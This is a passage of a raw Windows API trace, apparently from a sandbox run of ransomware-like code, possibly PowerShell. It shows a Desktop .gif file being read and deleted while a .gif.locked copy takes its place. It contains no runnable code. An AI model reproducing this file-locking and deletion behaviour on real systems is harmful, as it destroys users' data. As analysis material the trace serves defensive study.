GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae254, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae714) returned 1 [0124.990] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae21c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.990] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif\\", nBufferLength=0x105, lpBuffer=0x99ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif\\", lpFilePart=0x0) returned 0x57 [0124.990] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif\\*", lpFindFileData=0x99ae43c | out: lpFindFileData=0x99ae43c) returned 0xffffffff [0124.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0124.990] CoTaskMemAlloc (cb=0x404) returned 0x438c200 [0124.990] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x438c200, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0124.991] CoTaskMemFree (pv=0x438c200) [0124.991] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif")) returned 0x20 [0124.991] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.991] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae638) returned 1 [0124.992] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif"), fInfoLevelId=0x0, lpFileInformation=0x69423d0 | out: lpFileInformation=0x69423d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5090da0, ftCreationTime.dwHighDateTime=0x1d49f99, ftLastAccessTime.dwLowDateTime=0x34d0d8d0, ftLastAccessTime.dwHighDateTime=0x1d49ed2, ftLastWriteTime.dwLowDateTime=0x34d0d8d0, ftLastWriteTime.dwHighDateTime=0x1d49ed2, nFileSizeHigh=0x0, nFileSizeLow=0x11c2f)) returned 1 [0124.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae634) returned 1 [0124.992] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif")) returned 1 [0124.994] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.994] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0124.994] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.994] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.994] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.995] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif.locked")) returned 0x20 [0124.995] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif.locked")) returned 0x20 [0124.995] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae248, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked", lpFilePart=0x0) returned 0x5d [0124.995] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked", lpFilePart=0x0) returned 0x5d [0124.996] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.996] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", nBufferLength=0x105, lpBuffer=0x99ae4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif", lpFilePart=0x0) returned 0x56 [0124.996] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0124.996] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.996] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.996] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.999] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.999] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="\x8a68\x42d\x9609\x73b5\x3f7b\x6b24\x01") returned 0x0 [0124.999] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.999] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.999] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.001] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.001] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.001] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.001] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.001] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.003] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.003] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.003] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.003] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.003] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.005] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.005] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae620, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.006] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.006] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.006] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.007] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae058) returned 1 [0125.010] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x6956768 | out: lpFileInformation=0x6956768*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb8d2e6, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xdb8d2e6, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xdb8d2e6, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x11c44)) returned 1 [0125.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae054) returned 1 [0125.010] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked", lpFilePart=0x0) returned 0x5d [0125.010] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\bwx6RzhfH12 -D9X-.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\bwx6rzhfh12 -d9x-.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0125.010] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ae0a0 | out: lpFileInformation=0x99ae0a0) returned 1 [0125.010] CloseHandle (hObject=0x874) returned 1 [0125.013] GetConsoleOutputCP () returned 0x1b5 [0125.013] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.013] GetConsoleOutputCP () returned 0x1b5 [0125.014] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.014] GetConsoleOutputCP () returned 0x1b5 [0125.014] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.014] GetConsoleOutputCP () returned 0x1b5 [0125.014] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.014] GetConsoleOutputCP () returned 0x1b5 [0125.015] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.015] GetConsoleOutputCP () returned 0x1b5 [0125.015] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.015] GetConsoleOutputCP () returned 0x1b5 [0125.015] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.015] GetConsoleOutputCP () returned 0x1b5 [0125.016] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.016] GetConsoleOutputCP () returned 0x1b5 [0125.016] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.016] GetConsoleOutputCP () returned 0x1b5 [0125.016] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.016] GetConsoleOutputCP () returned 0x1b5 [0125.017] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.017] GetConsoleOutputCP () returned 0x1b5 [0125.017] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.017] GetConsoleOutputCP () returned 0x1b5 [0125.017] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0125.017] GetConsoleOutputCP () returned 0x1b5 [0125.017] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0125.017] GetConsoleOutputCP () returned 0x1b5 [0125.018] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.018] GetConsoleOutputCP () returned 0x1b5 [0125.018] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0125.018] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae69c | out: lpConsoleScreenBufferInfo=0x99ae69c) returned 1 [0125.018] GetConsoleOutputCP () returned 0x1b5 [0125.019] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae638, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae638) returned 0 [0125.019] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0125.019] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x697e5b8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x697e5b8*, lpNumberOfCharsWritten=0x99ae69c*=0x77) returned 1 [0125.020] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0125.020] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae69c*=0x2) returned 1 [0125.021] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, 